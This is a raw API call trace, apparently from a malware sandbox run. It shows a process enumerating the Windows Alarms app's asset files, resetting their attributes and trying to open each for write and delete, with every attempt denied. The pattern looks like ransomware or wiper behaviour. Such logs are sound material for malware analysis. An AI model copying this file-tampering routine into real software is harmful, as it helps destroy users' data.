	[0090.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0090.935] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b7d2db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b7d2db, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b7d2db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-40.png", cAlternateFileName="")) returned 1
	[0090.935] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-40.png", _String2=".") returned 1
	[0090.935] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-40.png", _String2="..") returned 1
	[0090.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771990
	[0090.935] wcscpy (in: _Dest=0x4771990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.935] wcscat (in: _Dest=0x4771990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.935] wcscat (in: _Dest=0x4771990, _Source="AlarmsAppList.contrast-black_targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png"
	[0090.935] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-40.png")) returned 0x20
	[0090.940] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0090.940] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.940] GetLastError () returned 0x5
	[0090.940] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0090.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0090.940] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b7d2db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b7d2db, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b7d2db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.940] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png", _String2=".") returned 1
	[0090.940] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png", _String2="..") returned 1
	[0090.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d85ee8
	[0090.940] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.940] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.940] wcscat (in: _Dest=0x2d85ee8, _Source="AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png"
	[0090.940] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-40_altform-unplated.png")) returned 0x20
	[0090.940] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.941] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-40_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.941] GetLastError () returned 0x5
	[0090.941] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-40_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.941] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b7d2db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b7d2db, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b7d2db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-48.png", cAlternateFileName="")) returned 1
	[0090.941] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-48.png", _String2=".") returned 1
	[0090.941] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-48.png", _String2="..") returned 1
	[0090.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771868
	[0090.941] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.941] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.941] wcscat (in: _Dest=0x4771868, _Source="AlarmsAppList.contrast-black_targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png"
	[0090.941] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-48.png")) returned 0x20
	[0090.944] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.944] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.944] GetLastError () returned 0x5
	[0090.944] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0090.944] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ba3534, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47ba3534, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47ba3534, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.949] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png", _String2=".") returned 1
	[0090.949] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png", _String2="..") returned 1
	[0090.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d85ee8
	[0090.949] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.949] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.949] wcscat (in: _Dest=0x2d85ee8, _Source="AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png"
	[0090.949] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-48_altform-unplated.png")) returned 0x20
	[0090.950] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.950] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.950] GetLastError () returned 0x5
	[0090.950] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-48_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.950] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ba3534, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47ba3534, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47ba3534, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-60.png", cAlternateFileName="")) returned 1
	[0090.950] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-60.png", _String2=".") returned 1
	[0090.950] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-60.png", _String2="..") returned 1
	[0090.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.950] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.950] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.950] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-60.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png"
	[0090.950] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-60.png")) returned 0x20
	[0090.954] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png", dwFileAttributes=0x20) returned 0
	[0090.954] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-60.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.954] GetLastError () returned 0x5
	[0090.954] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60.png", dwFileAttributes=0x20) returned 0
	[0090.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.954] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ba3534, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47bc9792, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47bc9792, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.954] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png", _String2=".") returned 1
	[0090.954] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png", _String2="..") returned 1
	[0090.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884f0
	[0090.954] wcscpy (in: _Dest=0x2d884f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.954] wcscat (in: _Dest=0x2d884f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.954] wcscat (in: _Dest=0x2d884f0, _Source="AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png"
	[0090.954] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-60_altform-unplated.png")) returned 0x20
	[0090.955] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.955] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-60_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.955] GetLastError () returned 0x5
	[0090.955] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-60_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0090.955] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47bc9792, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47bef9f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47bef9f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-64.png", cAlternateFileName="")) returned 1
	[0090.955] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-64.png", _String2=".") returned 1
	[0090.955] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-64.png", _String2="..") returned 1
	[0090.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.955] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.955] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.955] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-64.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png"
	[0090.955] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-64.png")) returned 0x20
	[0090.956] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0090.957] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-64.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.957] GetLastError () returned 0x5
	[0090.957] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0090.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.958] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47bef9f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47bef9f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47bef9f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.958] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png", _String2=".") returned 1
	[0090.958] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png", _String2="..") returned 1
	[0090.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.958] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
